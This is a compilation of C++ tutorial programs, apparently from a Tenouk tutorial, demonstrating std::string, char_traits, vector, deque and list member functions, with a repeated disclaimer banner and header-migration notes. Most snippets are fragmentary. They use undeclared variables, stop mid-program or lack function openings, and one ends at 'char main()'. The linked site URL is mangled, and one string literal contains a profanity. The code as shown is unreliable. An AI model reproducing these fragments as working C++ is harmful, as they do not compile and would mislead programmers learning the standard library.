<<"element not in\n'Testing' in str4 before the end "
<<"position is: "<<unsigned int(index8)<<endl;
else
cout<<"Elements other than those in the substring\n"
<<"'Testing' were not found in the string str4"<<endl;
return 0;
}
----------------------------------------------------------------------------------------------------------------
//find_last_of() part I
#include <string>
#include <iostream>
using namespace std;
int main()
{
//searching for a single character in a string
string str1("Testing 1234 Testing 1234");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;
index2 = str1.find_first_of('z');
cout<<"\nOperation: index2 = str1.find_first_of('z')"<<endl;
if(index2 != npos)
cout<<"The index of the 'z' found in str1 is: "
<<unsigned int(index2)<<endl;
else
cout<<"The character 'z' was not found in str1"<<endl;
cout<<endl;
//--------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing 1234 Testing 1234");
cout<<"str2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;
----------------------------------------------------------------------------------------------------------
//find_last_of() part II
#include <string>
#include <iostream>
using namespace std;
int main()
{
//-------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("Testing 1234 Testing 1234");
cout<<"str4 string is: "<<str4<<endl;
basic_string <char>::size_type index6, index7;
string str5("416");
index6 = str4.find_last_of(str5, 25);
cout<<"Operation: str4.find_last_of(str5, 25)"<<endl;
if(index6 != npos)
cout<<"The index of the last occurrence of an "
<<"element\nof '416' in str4 before the 25th "
<<"position is: "<<unsigned int(index6)<<endl;
else
cout<<"Elements of the substring '416' were not\n"
<<"found in str4 after the 0th position"<<endl;
string str6("1g");
index7 = str4.find_last_of(str6);
cout<<"\nOperation: str4.find_last_of(str6)"<<endl;
if(index7 != npos)
cout<<"The index of the last occurrence of an "
<<"element\nof '1g' in str4 before the 0th "
<<"position is: "<<unsigned int(index7)<<endl;
else
cout<<"Elements of the substring '1g' were not\n"
<<"found in str4 after the 0th position"<< endl;
return 0;
}
---------------------------------------------------------------------------------------------------------------
//get_allocator()
#include <string>
#include <iostream>
using namespace std;
int main()
{
//using the default allocator.
string str1;
basic_string <char> str2;
basic_string <char, char_traits<char>, allocator<char> > str3;
----------------------------------------------------------------------------------------------------------------
//insert() part I
#include <string>
#include <iostream>
using namespace std;
int main()
{
//inserting a C-string at a given position
basic_string <char> str1("e insert() testing");
const char *cstr1 = "Th";
cout<<"str1 = "<<str1<<endl;
cout<<"cstr1 = "<<cstr1<<endl;
str1.insert(0, cstr1);
cout<<"Operation: str1.insert(0, cstr1)"<<endl;
cout<<"Inserting a C-string at position 0 is:\n"<<str1<<endl;
cout<<endl;
cout<<"str2 = "<<str2<<endl;
cout<<"cstr2 = "<<cstr2<<endl;
str2.insert(4, cstr2, 15);
cout<<"Operation: str2.insert(4, cstr2, 15)"<<endl;
cout<<"Inserting a C-string at the end is:\n"<<str2<<endl;
cout<<endl;
cout<<"str3 = "<<str3<<endl;
cout<<"str4 = "<<str4<<endl;
str3.insert(0, str4);
cout<<"Operation: str3.insert(0, str4)"<<endl;
cout<<"Inserting string at position 0 is:\n"<<str3<<endl;
cout<<endl;
cout<<"str5 = "<<str5<<endl;
cout<<"str6 = "<<str6<<endl;
str5.insert(7, str6, 4, 9);
cout<<"Operation: str5.insert(7, str6, 4, 9)"<<endl;
cout<<"Inserting part of a string at position 9 is:\n"<<str5<<endl;
return 0;
}
--------------------------------------------------------------------------------------------------------------
//insert() part II
#include <string>
#include <iostream>
using namespace std;
int main()
{
//inserting a number of characters at a specified position in the string
string str7("Testing the insert()?");
cout<<"str7 = "<<str7<<endl;
str7.insert(20, 4, '!');
cout<<"Operation: str7.insert(20, 4, '!')"<<endl;
cout<<"Inserting characters: \n"<<str7<<endl;
cout<<endl;
---------------------------------------------------------------------------------------------------------------
//push_back()
#include <string>
#include <iostream>
using namespace std;
int main()
{
string str1("Testing the push_back()");
basic_string <char>::iterator StrIter, Str1Iter;
-------------------------------------------------------------------------------------------------------------
int main()
{
string str1("The reverse begin, rbegin()"), str2;
basic_string <char>::reverse_iterator StrIter, Str1Iter;
basic_string <char>::const_reverse_iterator str1_rcIter;
-------------------------------------------------------------------------------------------------------------
//replace() part I
#include <string>
#include <iostream>
using namespace std;
int main()
{
--------------------------------------------------------------------------------------------------------------
//replace() part II
#include <string>
#include <iostream>
using namespace std;
int main()
{
cout<<"Operation: str13.begin()"<<endl;
cout<<"Operation: str13.begin() + 3"<<endl;
cout<<"Operation: str13.replace(Iter1, Iter2, str14)"<<endl;
Iter1 = str13.begin();
Iter2 = str13.begin() + 3;
cout<<"Operation: str16.begin()"<<endl;
cout<<"Operation: str16.begin() + 4"<<endl;
cout<<"Operation: str16.replace(Iter3, Iter4, cstr4, 4)"<<endl;
Iter3 = str16.begin();
Iter4 = str16.begin() + 4;
str15 = str16.replace(Iter3, Iter4, cstr4, 4);
cout<<"The new string is: "<<str15<<"\n\n";
Iter7 = str20.begin() + 1;
Iter8 = str20.begin() + 3;
Iter9 = str21.begin();
Iter10 = str21.begin() + 2;
--------------------------------------------------------------------------------------------------------------
//reserve()
#include <string>
#include <iostream>
using namespace std;
int main()
{
string str1("Testing the reserve()");
cout<<"str1 string is: "<<str1<<endl;
----------------------------------------------------------------------------------------------------
int main()
{
string str1("Testing the resize()");
cout<<"str1 string is: "<<str1<<endl;
SizeStr1 = str1.size();
CapaStr1 = str1.capacity();
SizeStr1 = str1.size();
CapaStr1 = str1.capacity();
SizeStr1 = str1.size();
CapaStr1 = str1.capacity();
----------------------------------------------------------------------------------------------------
int main()
{
//searching for a single character in a string
string str1("Testing the rfind() 1..2..3");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;
cout<<"\nOperation: str1.rfind('z')"<<endl;
index2 = str1.rfind('z');
if(index2 != npos)
cout<<"The index of the 'z' found in str1 is: "<<index2<<endl;
else
cout<<"The character 'z' was not found in str1."<<endl;
cout<<endl;
//----------------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing the rfind() 123");
cout<<"The str2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;
else
cout<<"The substring 'nofind()' was not found in str2."<<endl;
return 0;
}
----------------------------------------------------------------------------------------------------
int main()
{
//searching a string for a substring as specified by a C-string
string str3("Another test. Testing the rfind() the 123");
cout<<"The str3 string is: "<<str3<<endl;
static const basic_string <char>::size_type npos = -1;
basic_string <char>::size_type index5, index6;
//----------------------------------------------------------
//searching string for a substring as specified by a string
string str4("Final rfind() testing 1...2...3");
cout<<"The str4 string is: "<<str4<<endl;
basic_string <char>::size_type index7, index8;
string str5("2...3");
cout<<"Operation: str4.rfind(str5, 30)"<<endl;
index7 = str4.rfind(str5, 30);
if(index7 != npos)
cout<<"The index of the 1st element of '1...2' "
<<"before\nthe 30th position in str4 is: "<<index7<<endl;
else
cout<<"The substring '1...2' was not found in str4\n"
<<"before the 30th position."<<endl;
string str6("...3");
cout<<"\nOperation: str4.rfind(str6)"<<endl;
index8 = str4.rfind(str6);
if(index8 != npos)
cout<<"The index of the 1st element of '...3' in str4 is: "<<index8<<endl;
else
cout<<"The substring '...3' was not found in str4."<<endl;
return 0;
}
----------------------------------------------------------------------------------------------------
//substr()
#include <string>
#include <iostream>
using namespace std;
int main()
{
cout<<"\nOperation: str1.substr()"<<endl;
basic_string <char> str3 = str1.substr();
cout<<"The default str3 substring is: "<<str3
<<"\nwhich is the original string."<<endl;
return 0;
}
----------------------------------------------------------------------------------------------------
//char_traits, assign()
#include <string>
#include <iostream>
using namespace std;
int main()
{
//assigning a character value to another character
char chr1 = 'P';
const char chr2 = 'Q';
----------------------------------------------------------------------------------------------------
//char_traits, compare()
#include <string>
#include <iostream>
using namespace std;
int main()
{
char_traits<char>::char_type* str1 = "TEST";
char_traits<char>::char_type* str2 = "RETEST";
char_traits<char>::char_type* str3 = "RETEST";
char_traits<char>::char_type* str4 = "TESTING";
cout<<"\nOperation: Comparison..."<<endl;
int comp1, comp2, comp3, comp4;
comp1 = char_traits<char>::compare(str1, str2, 2);
comp2 = char_traits<char>::compare(str2, str3, 3);
comp3 = char_traits<char>::compare(str3, str4, 4);
comp4 = char_traits<char>::compare(str4, str3, 4);
cout<<"compare(str1, str2, 2) = "<<comp1<<endl;
cout<<"compare(str2, str3, 3) = "<<comp2<<endl;
cout<<"compare(str3, str4, 4) = "<<comp3<<endl;
cout<<"compare(str4, str3, 4) = "<<comp4<<endl;
return 0;
}
----------------------------------------------------------------------------------------------------
//char_traits, copy()
#include <string>
#include <iostream>
using namespace std;
int main()
{
char_traits<char>::char_type* str1 = "Testing the copy()";
char_traits<char>::char_type* str2 = "Fucking";
char_traits<char>::char_type* result;
----------------------------------------------------------------------------------------------------
//char_traits, eof()
#include <string>
#include <iostream>
using namespace std;
int main( )
{
char_traits <char>::int_type int0 = char_traits<char>::eof();
cout<<"The eof return is: "<<int0<<endl;
----------------------------------------------------------------------------------------------------
//char_traits, eq()
#include <string>
#include <iostream>
using namespace std;
int main()
{
char_traits<char>::char_type chr1 = 'P';
char_traits<char>::char_type chr2 = 'Q';
char_traits<char>::char_type chr3 = 'P';
//alternatively...
cout<<"\nOperation: using \'==\' operator, chr1==chr3"<<endl;
if(chr1 == chr3)
cout<<"The character chr1 and chr3 is equal."<<endl;
else
cout<<"The character chr1 and chr3 is not equal."<<endl;
return 0;
}
----------------------------------------------------------------------------------------------------
//char_traits, eq_int_type()
//and to_int_type()
#include <string>
#include <iostream>
using namespace std;
int main()
{
char_traits<char>::char_type chr1 = 'P';
char_traits<char>::char_type chr2 = 'Q';
char_traits<char>::char_type chr3 = 'P';
char_traits<char>::char_type chr4 = 'r';
cout<<"Operation: to_int_type(character)"<<endl;
cout<<"The char_types and corresponding int_types are:\n";
cout<<chr1<<" = "<<int1<<endl;
cout<<chr2<<" = "<<int2<<endl;
cout<<chr4<<" = "<<int4<<endl;
//alternatively...
cout<<"\nOperation: int1 == int3"<<endl;
if(int1 == int3)
cout<<"The int_type representation of characters chr1\n"
<<"and chr3 is equal."<<endl;
else
cout<<"The int_type representation of characters chr1\n"
<<"and chr3 is not equal."<<endl;
return 0;
}
----------------------------------------------------------------------------------------------------
//char_traits, find()
#include <string>
#include <iostream>
using namespace std;
int main( )
{
const char* str = "Testing the char_traits, find()";
const char* result1;
cout<<"The string to be searched is:\n"<<str<<endl;
----------------------------------------------------------------------------------------------------
//char_traits, length()
#include <string>
#include <iostream>
using namespace std;
int main()
{
const char* str1= "Testing 1...2...3";
cout<<"str1 C-string is: "<<str1<<endl;
size_t LenStr1;
cout<<"\nOperation: length(str1)"<<endl;
LenStr1 = char_traits<char>::length(str1);
cout<<"The length of str1 is: "<<unsigned int(LenStr1)<<endl;
return 0;
}
----------------------------------------------------------------------------------------------------
//char_traits, lt()
#include <string>
#include <iostream>
using namespace std;
int main()
{
char_traits<char>::char_type chr1 = '1';
char_traits<char>::char_type chr2 = 'q';
char_traits<char>::char_type chr3 = 'R';
----------------------------------------------------------------------------------------------------
int main()
{
char_traits<char>::char_type str1[25] = "The Hell Boy";
char_traits<char>::char_type str2[25] = "Something To ponder";
char_traits<char>::char_type *result1;
----------------------------------------------------------------------------------------------------
//char_traits, not_eof()
#include <string>
#include <iostream>
using namespace std;
int main()
{
char_traits<char>::char_type chr1 = 'w';
char_traits<char>::int_type int1;
int1 = char_traits<char>::to_int_type(chr1);
cout<<"Operation: to_int_type(chr1)"<<endl;
cout<<"The char_type "<<chr1<<" = int_type "<<int1<<endl;
//EOF
char_traits <char>::int_type int2 = char_traits<char>::eof();
cout<<"\nOperation: char_traits<char>::eof()"<<endl;
cout<<"The eof return is: "<<int2<<endl;
eofTest2 = char_traits<char>::not_eof(int2);
cout<<"\nOperation: not_eof(int2)"<<endl;
if(!eofTest2)
cout<<"The eofTest2 indicates "<<chr1<<" is an EOF character."<<endl;
else
cout<<"The eofTest1 returns: "<<eofTest2
<<", which is the character "
<<char_traits<char>::to_char_type(eofTest2)<<endl;
return 0;
}
----------------------------------------------------------------------------------------------------
//char_traits, to_char_type(),
//to_int_type and eq()
#include <string>
#include <iostream>
using namespace std;
int main()
{
char_traits<char>::char_type chr1 = '3';
char_traits<char>::char_type chr2 = 'C';
char_traits<char>::char_type chr3 = '#';
cout<<"Operation: to_int_type(character)"<<endl;
cout<<"The char_types and corresponding int_types are:\n";
cout<<chr1<<" ==> "<<int1<<endl;
cout<<chr2<<" ==> "<<int2<<endl;
cout<<chr3<<" ==> "<<int3<<endl;
cout<<"\nOperation: to_char_type(integer)"<<endl;
cout<<"The inverse conversion are:\n";
cout<<int1<<" ==> "<<rev_chr1<<endl;
cout<<int2<<" ==> "<<rev_chr2<<endl;
//alternatively...
if(rev_chr2 == chr2)
cout<<"The rev_chr2 is equal to the original chr2."<<endl;
else
cout<<"The rev_chr2 is not equal to the original chr2."<<endl;
return 0;
}
----------------------------------------------------------------------------------------------------
//strtok()
//using the C++ wrappers
#include <cstdio>
#include <string>
using namespace std;
int main()
{
----------------------------------------------------------------------------------------------------
//Using strspn()
#include <cstdio>
#include <string>
using namespace std;
int main()
{
char *string1 = "The initial value is 3.14159";
char *string2 = "aehilsTuv";
------------------------------------------G++----------------------------------------------------------
//**********string2.cpp************
//insert() part I
#include <string>
#include <iostream>
using namespace std;
int main()
{
//inserting a C-string at a given position
basic_string <char> str1("e insert() testing");
const char *cstr1 = "Th";
cout<<"str1 = "<<str1<<endl;
cout<<"cstr1 = "<<cstr1<<endl;
str1.insert(0, cstr1);
cout<<"Operation: str1.insert(0, cstr1)"<<endl;
cout<<"Inserting a C-string at position 0 is:\n"<<str1<<endl;
cout<<endl;
cout<<"str2 = "<<str2<<endl;
cout<<"cstr2 = "<<cstr2<<endl;
str2.insert(4, cstr2, 15);
cout<<"Operation: str2.insert(4, cstr2, 15)"<<endl;
cout<<"Inserting a C-string at the end is:\n"<<str2<<endl;
cout<<endl;
cout<<"str3 = "<<str3<<endl;
cout<<"str4 = "<<str4<<endl;
str3.insert(0, str4);
cout<<"Operation: str3.insert(0, str4)"<<endl;
cout<<"Inserting string at position 0 is:\n"<<str3<<endl;
cout<<endl;
cout<<"str5 = "<<str5<<endl;
cout<<"str6 = "<<str6<<endl;
str5.insert(7, str6, 4, 9);
cout<<"Operation: str5.insert(7, str6, 4, 9)"<<endl;
cout<<"Inserting part of a string at position 9 is:\n"<<str5<<endl;
return 0;
}
============================MODULE27=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================
//vector example
#include <iostream>
//vector header file
#include <vector>
using namespace std;
int main()
{
//vector container for integer elements
//declaration
vector<int> coll;
cout<<endl;
return 0;
}
---------------------------------------------------------------------------
//vector, operators
#include <vector>
#include <iostream>
using namespace std;
int main()
{
---------------------------------------------------------------------------
//vector constructors
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int>::iterator vec0Iter, vec1Iter, vec2Iter, vec3Iter, vec4Iter, vec5Iter;
//Create a vector vec3 with 5 elements of value 3 and with the allocator
//of vector vec2
vector <int> vec3(5, 3, vec2.get_allocator());
---------------------------------------------------------------------------
//vector, assign()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec2;
vector <int>::iterator Iter;
vec2.push_back(1);
vec2.push_back(5);
vec2.push_back(3);
vec2.push_back(4);
vec2.push_back(5);
vec2.push_back(3);
vec2.push_back(7);
vec2.push_back(8);
vec2.push_back(4);
---------------------------------------------------------------------------
//vector, at()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vec1.push_back(1);
vec1.push_back(7);
vec1.push_back(4);
vec1.push_back(3);
cout<<"\n\nOperation: vec1.at(position)";
const int &x = vec1.at(1);
int &y = vec1.at(3);
int &z = vec1.at(0);
cout<<"\nThe 2nd element is "<<x<<endl;
cout<<"The 4th element is "<<y<<endl;
cout<<"The 1st element is "<<z<<endl;
return 0;
}
---------------------------------------------------------------------------
int main()
{
vector <int> vec1, vec2;
vec1.push_back(12);
vec1.push_back(10);
vec1.push_back(7);
int& x = vec1.back();
const int& y = vec1.front();
cout<<"\nOperation: x = vec1.back()\n";
cout<<"The last integer of vec1 is "<<x<<endl;
cout<<"Operation: y = vec1.front()\n";
cout<<"The 1st integer of vec1 is "<<y<<endl;
return 0;
}
---------------------------------------------------------------------------
//vector, begin()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator vec1_Iter;
vec1.push_back(21);
vec1.push_back(12);
vec1.push_back(32);
cout<<"\nOperation: vec1.begin()\n";
vec1_Iter = vec1.begin();
cout<<"The first element of vec1 is "<<*vec1_Iter<<endl;
cout<<"Operation: vec1.begin()\n";
vec1_Iter = vec1.begin();
cout<<"The first element of vec1 is now "<<*vec1_Iter<<endl;
return 0;
}
---------------------------------------------------------------------------
//vector, capacity()
//and size()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vec1.push_back(3);
vec1.push_back(1);
vec1.push_back(6);
cout<<"Operation: vec1.capacity()\n";
cout<<"The length of storage allocated is "<<vec1.capacity()<<"."<<endl;
vec1.push_back(10);
vec1.push_back(12);
vec1.push_back(4);
---------------------------------------------------------------------------
//and size()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vec1.push_back(10);
vec1.push_back(20);
vec1.push_back(30);
cout<<"\nOperation: vec1.empty()"<<endl;
if(vec1.empty())
cout<<"vec1 is empty"<<endl;
else
cout<<"vec1 is not empty"<<endl;
cout<<"\nOperation: vec1.clear()"<<endl;
vec1.clear();
cout<<"The size of vec1 after clearing is "<<vec1.size()<<endl;
cout<<"\nOperation: vec1.empty()"<<endl;
if(vec1.empty())
cout<<"vec1 is empty"<<endl;
else
cout<<"vec1 is not empty"<<endl;
return 0;
}
---------------------------------------------------------------------------
int main( )
{
using namespace std;
vector <int> vec1;
vector <int>::iterator vec1_Iter;
vec1.push_back(9);
vec1.push_back(2);
vec1.push_back(7);
vec1.push_back(3);
---------------------------------------------------------------------------
int main()
{
vector <int> vec1;
vector <int>::iterator Iter;
vec1.push_back(3);
vec1.push_back(7);
vec1.push_back(22);
vec1.push_back(5);
vec1.push_back(12);
vec1.push_back(17);
cout<<"\nOperation: erase(vec1.begin()"<<endl;
vec1.erase(vec1.begin());
cout<<"New vec1 data: ";
for(Iter = vec1.begin(); Iter != vec1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;
---------------------------------------------------------------------------
//vector, insert()
//begin(), end()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter;
vec1.push_back(12);
vec1.push_back(100);
vec1.push_back(9);
vec1.push_back(21);
---------------------------------------------------------------------------
//vector, max_size()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::size_type i;
i = vec1.max_size();
cout<<"The max possible length of the vector is "<<i<<endl;
return 0;
}
---------------------------------------------------------------------------
int main()
{
vector <int> vec1;
vec1.push_back(4);
vec1.push_back(7);
vec1.push_back(3);
cout<<"\nOperation: vec1.back()\n";
cout<<vec1.back()<<endl;
cout<<"\nOperation: push_back(2)\n";
vec1.push_back(2);
cout<<vec1.back()<<endl;
cout<<"\nOperation: vec1.pop_back()\n";
vec1.pop_back();
cout<<vec1.back()<<endl;
return 0;
}
---------------------------------------------------------------------------
//vector, rbegin()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator vec1_Iter;
vector <int>::reverse_iterator vec1_rIter;
vec1.push_back(10);
vec1.push_back(7);
vec1.push_back(3);
cout<<"\nOperation: vec1.begin()\n";
vec1_Iter = vec1.begin();
cout<<"The first element of vec1 is "<<*vec1_Iter<<endl;
cout<<"\nOperation: vec1.rbegin()\n";
vec1_rIter = vec1.rbegin();
cout<<"The first element of the reversed vec1 is "<<*vec1_rIter<<endl;
return 0;
}
---------------------------------------------------------------------------
//vector, rend()
//and rbegin()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::reverse_iterator vec1_rIter;
vec1.push_back(7);
vec1.push_back(3);
vec1.push_back(4);
vec1.push_back(1);
---------------------------------------------------------------------------
//vector, resize()
//and size()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vec1.push_back(40);
vec1.push_back(20);
vec1.push_back(10);
vec1.push_back(12);
cout<<"\nOperation: vec1.resize(4)\n";
vec1.resize(4);
---------------------------------------------------------------------------
//vector, reserve()
//capacity() and size()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vec1.push_back(4);
vec1.push_back(2);
vec1.push_back(10);
cout<<"\nOperation: vec1.capacity()"<<endl;
cout<<"Current capacity of vec1 = "<<vec1.capacity()<<endl;
cout<<"\nOperation: vec1.reserve(10)"<<endl;
vec1.reserve(10);
---------------------------------------------------------------------------
//vector, swap()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vec1.push_back(4);
vec1.push_back(7);
vec1.push_back(2);
vec1.push_back(12);
vec2.push_back(11);
vec2.push_back(21);
vec2.push_back(30);
cout<<"Operation: vec1.swap(vec2)\n"<<endl;
vec1.swap(vec2);
cout<<"The number of elements in v1 = "<<vec1.size()<<endl;
cout<<"The number of elements in v2 = "<<vec2.size()<<endl;
cout<<endl;
return 0;
}
---------------------------------------------------------------------------
//vector operator[]
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vec1.push_back(10);
vec1.push_back(9);
vec1.push_back(8);
vec1.push_back(12);
---------------------------------------------------------------------------
//vector_bool, flip()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
_Bvector vecbool;
vecbool.push_back(1);
vecbool.push_back(0);
--------------------------------------------------------------------------------------
//vector_bool, swap()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
_Bvector vec1, vec2;
vec1.push_back(0);
vec1.push_back(0);
vec2.push_back(1);
vec2.push_back(1);
-------------------------------------------------------------------------------------------
int main()
{
//deque container for floating-point elements
//declaration
deque<float> elem, elem1;
return 0;
}
--------------------------------------------------------------------------------------------------
//deque, constructors
#include <deque>
#include <iostream>
using namespace std;
int main()
{
deque <int>::iterator deq0Iter, deq1Iter, deq2Iter, deq3Iter, deq4Iter, deq5Iter, deq6Iter;
//------------------------------------
cout<<"Operation: deque <int> deq0\n";
cout<<"deq0 data: ";
for(deq0Iter = deq0.begin(); deq0Iter != deq0.end(); deq0Iter++)
cout<<*deq0Iter<<" ";
cout<<endl;
cout<<*deq1Iter<<" ";
cout<<endl;
cout<<"\nOperation1: deq4Iter++...\n";
cout<<"Operation2: deque <int> deq5(deq4.begin(), deq4Iter)\n";
cout<<"deq5 data: ";
for(deq5Iter = deq5.begin(); deq5Iter != deq5.end(); deq5Iter++)
cout << *deq5Iter<<" ";
cout << endl;
-----------------------------------------G++ on Fedora---------------------------------------------
//*******vector.cpp*********
//vector constructors
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int>::iterator vec0Iter, vec1Iter, vec2Iter, vec3Iter, vec4Iter, vec5Iter;
//Create a vector vec3 with 5 elements of value 3 and with the allocator
//of vector vec2
vector <int> vec3(5, 3, vec2.get_allocator());
-----------------------------------------------------------------------------------------------------
//********deque.cpp*********
//deque, constructors
#include <deque>
#include <iostream>
using namespace std;
int main()
{
deque <int>::iterator deq0Iter, deq1Iter, deq2Iter, deq3Iter, deq4Iter, deq5Iter, deq6Iter;
//------------------------------------
cout<<"Operation: deque <int> deq0\n";
cout<<"deq0 data: ";
for(deq0Iter = deq0.begin(); deq0Iter != deq0.end(); deq0Iter++)
cout<<*deq0Iter<<" ";
cout<<endl;
cout<<"\nOperation1: deq4Iter++...\n";
cout<<"Operation2: deque <int> deq5(deq4.begin(), deq4Iter)\n";
cout<<"deq5 data: ";
for(deq5Iter = deq5.begin(); deq5Iter != deq5.end(); deq5Iter++)
cout << *deq5Iter<<" ";
cout << endl;
============================MODULE28=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
g++ are given at the end of every Module. For example if you want
to compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
Just need some modification for the header files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================
//list example
#include <iostream>
#include <list>
using namespace std;
int main()
{
//list container for character elements
list<char> elem;
---------------------------------------------------------------------------------------------
//list constructors
#include <list>
#include <iostream>
int main()
{
list <int>::iterator li0Iter, li1Iter, li2Iter, li3Iter, li4Iter, li5Iter, li6Iter;
//Create a list li6 by copying the range of li4[_First, _Last) and with
//the allocator of list li2
li4Iter = li4.begin();
li4Iter++;
li4Iter++;
li4Iter++;
list <int> li6(li4.begin(), li4Iter, li2.get_allocator());
//----------------------------------------------------
cout<<"Operation: list <int> li0\n";
cout<<"li0 data: ";
for(li0Iter = li0.begin(); li0Iter != li0.end(); li0Iter++)
cout<<" "<<*li0Iter;
cout<<endl;
------------------------------------------------------------------------------------------
//list, insert()
#include <list>
#include <iostream>
using namespace std;
int main()
{
list <int> lis1, lis2;
list <int>::iterator Iter;
lis1.push_back(13);
lis1.push_back(22);
lis1.push_back(15);
lis2.push_back(9);
lis2.push_back(5);
lis2.push_back(45);
cout<<" "<<*Iter;
cout<<endl;
cout<<"\nOperation2: lis1.insert(++lis1.begin(),\n"
" lis2.begin(),--lis2.end())\n";
lis1.insert(++lis1.begin(), lis2.begin(),--lis2.end());
cout<<"lis1 data: ";
for(Iter = lis1.begin(); Iter != lis1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;
return 0;
}
---------------------------------------------------------------------------------------------
//list, remove()
#include <list>
#include <iostream>
using namespace std;
int main( )
{
list <int> lis1;
list <int>::iterator lis1Iter, lis2Iter;
lis1.push_back(7);
lis1.push_back(12);
lis1.push_back(25);
lis1.push_back(7);
lis1.push_back(9);
lis1.push_back(7);
lis1.push_back(21);
------------------------------------------------------------------------------------------
//list, sort()
#include <list>
#include <iostream>
using namespace std;
int main()
{
list <int> ls1;
list <int>::iterator ls1Iter;
ls1.push_back(31);
ls1.push_back(12);
ls1.push_back(40);
ls1.push_back(15);
ls1.push_back(9);
ls1.push_back(44);
cout<<"\nOperation: ls1.sort()\n";
ls1.sort();
cout<<"After sorting, ls1 data: ";
for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;
cout<<"\nOperation: ls1.sort(greater<int>())\n";
ls1.sort(greater<int>());
cout<<"Re sort with 'greater than' operation,\nls1 =";
for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;
return 0;
}
-----------------------------------------------------------------------------------------
//list, splice()
#include <list>
#include <iostream>
using namespace std;
int main( )
{
list <int> ls1, ls2, ls3, ls4;
list <int>::iterator ls1Iter, ls2Iter, ls3Iter, ls4Iter, PIter, QIter, RIter;
ls1.push_back(7);
ls1.push_back(15);
ls2.push_back(9);
ls2.push_back(22);
ls2.push_back(12);
ls3.push_back(29);
ls3.push_back(30);
ls4.push_back(33);
ls4.push_back(25);
ls4.push_back(51);
cout<<" "<<*ls2Iter;
cout<<endl;
-----------------------------------------------------------------------------------------------
//list, unique()
#include <list>
#include <iostream>
using namespace std;
int main()
{
list <int> ls1;
list <int>::iterator ls1Iter, ls2Iter, ls3Iter;
not_equal_to<int> mypred;
ls1.push_back(-12);
ls1.push_back(12);
ls1.push_back(12);
ls1.push_back(22);
ls1.push_back(22);
ls1.push_back(13);
ls1.push_back(-12);
ls1.push_back(14);
---------------------------------------------------------------------------------------------
//set, constructor
#include <set>
#include <iostream>
using namespace std;
char main()
{
